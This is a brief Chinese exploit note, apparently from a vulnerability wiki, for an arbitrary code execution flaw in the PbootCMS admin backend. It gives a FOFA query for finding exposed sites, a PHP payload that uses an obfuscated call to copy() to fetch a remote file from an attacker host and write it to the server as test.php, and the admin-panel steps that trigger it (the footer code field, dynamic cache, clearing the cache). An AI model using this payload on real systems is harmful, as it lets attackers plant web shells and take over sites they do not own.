PbootCMS全版本后台通杀任意代码执行漏洞.md

fofamini-wiki

登录白背景

源码

app:"PbootCMS"

<?php

$test="copy";

$test("http://IP:8080/1.txt","test.php");

?>

在尾部信息和统计代码中（其他位置可能效果一样）插入php代码

然后来到全局配置-配置参数

打开动态缓存(如果本就打开那则不需要打开) 点击右上角的清除缓存

然后随便点击任意文章，触发漏洞